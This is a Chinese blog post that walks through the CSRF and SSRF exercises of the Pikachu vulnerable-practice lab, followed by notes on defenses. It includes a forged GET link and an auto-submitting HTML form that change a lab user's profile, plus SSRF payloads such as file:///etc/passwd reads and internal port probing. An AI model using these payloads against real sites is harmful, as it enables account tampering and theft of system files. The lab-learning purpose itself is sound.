当前位置: 首页 > article >正文

Pikachu靶场之csrf

CSRF

跨站请求伪造

CSRF入门及靶场实战 - FreeBuf网络安全行业门户

攻击者伪造恶意链接,诱使用户点击,这个链接附带了用户的认证凭据Cookie、Session等,执行操作如转账。 因为带了cookie、session,服务器认为是用户的行为。借用户的权限完成攻击

get型

lucy用户登录,修改个人信息,抓包,看到要修改的信息直接在url中

get请求并没有向后台发送token参数,说明后台是没有做防CSRF的措施

可以直接把url改一下,改成sex=boy

攻击者的恶意链接

http://192.168.146.161/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit 

用户点击链接

成功改成男孩

post型

和get型不同,要修改的参数出现在消息体里,并且没有cookie和token参数

用bp来生成poc ,右键,点击generate csrf Poc ,修改值,勾选包含自动提交script

利用burp生成POC验证CSRF - FreeBuf网络安全行业门户

生成不了 就从网上复制了一个,保存为html,并用浏览器打开

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.146.161/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="hubei" />
    <input id="email" type="text" name="email" value="lucy@163.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

​

访问这个html,成功修改

token型未成功

(1)客户端把用户的用户名和密码发到服务端

(2)服务端进行校验,校验成功会生成token, 把token发送给客户端

(3)客户端自己保存token, 再次请求就要在Http协议的请求头中带着token去访问服务端,和在服务端保存的token信息进行比对校验。(所以token只能与受害者用户一致)

前端会存储这个token,放在session或cookie中,token一般用完一次就会失效

要修改的参数在url里面,带了个token,而且这个token还是明文,没有加密

bp安装CSRF Token Tracker插件

pikachu--csrf token & token防爆破? - WangWangDui - 博客园 (cnblogs.com)
 

设置

重放,第一次修改信息能成功,第二次就不行了,因为ccokie失效了,每次刷新页面cookie都要变

HTTPS

突然好奇,要是用了https,流量加密了,还会好挖洞吗,会对传输的数据进行加密

为什么如此安全的https协议却仍然可以被抓包呢?_网络请求会被抓取吗-CSDN博客

SSRF

curl

点击链接,观察url

把url改成了百度

file_get_content

像远程文件包含

总结

csrf是一种在用户已经登录的状态下,通过伪造请求来执行非法操作

挖掘:如果没有Referer字段和token,那么极有可能存在CSRF漏洞

防范:

(1)增加Referer,记录了该 HTTP 请求的来源地址

(2)添加 Token,每次用完就失效

(3)同源策略SOP,

(4)使用验证码,对于敏感操作输入验证码进行验证

SSRF,服务器端请求伪造

如果url中含有share、wap、url、link、src、source、target、display、sourceURl、imageURL
、domain . 参数若是其他服务器地址,就可能有ssrf漏洞

可以用于探测内网端口开放,http://内网ip:22,http 协议进行内网探测

任意文件读取,url=file:///etc/passwd,,file 协议结合目录遍历读取文件

gopher 协议打开端口。

dict 协议主要用于结合 curl 攻击

ssrf防范

限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求

限制不能访问内网的IP,以防止对内网进行攻击


http://www.kler.cn/news/314169.html

相关文章:

  • CompletableFuture的allOf一定不要乱用!血泪史复盘
  • 重修设计模式-结构型-组合模式
  • 网络丢包定位记录(三)
  • 海外大带宽服务器连接失败怎么办?
  • Antd框架中的Select组件placeholder不显示
  • [苍穹外卖]-11数据可视化接口开发
  • Qt 窗口事件机制
  • 分页查询,pageHelper, pagehelper-spring-boot-starter
  • C++ 策略技术中的算法策略
  • 握手传输 状态机序列检测(记忆科技笔试题)_2024年9月2日
  • 构建高可用和高防御力的云服务架构第一部分:深入解析DDoS高防(1/5)
  • 财富之眼用经济思维看清世界PDF高清下载
  • 【FastAPI】服务器使用SSE实现客户端之间的广播和点对点功能
  • 给新人的python笔记(一)
  • 深度学习基本概念详解
  • flink on k8s
  • 79篇vs13篇!本周中国学者发文量远超外国学者| NHANES数据库周报(8.28~9.3)
  • 执行matlab后进行RTL功能仿真check
  • 基于开源鸿蒙(OpenHarmony)的【智能家居综合应用】系统
  • 代理模式---静态代理和动态代理
  • JVM内存学习
  • Lodash的特点和功能
  • WGAN算法
  • 信奥初赛解析:1-3-计算机软件系统
  • YOLOv5模型部署教程
  • 小阿轩yx-通过state模块定义主机状态
  • 【计网面试真题】If-Modified-Since和Etag有什么区别
  • WebServer
  • 6、等级保护政策内容
  • Go语言的垃圾回收(GC)机制的迭代和优化历史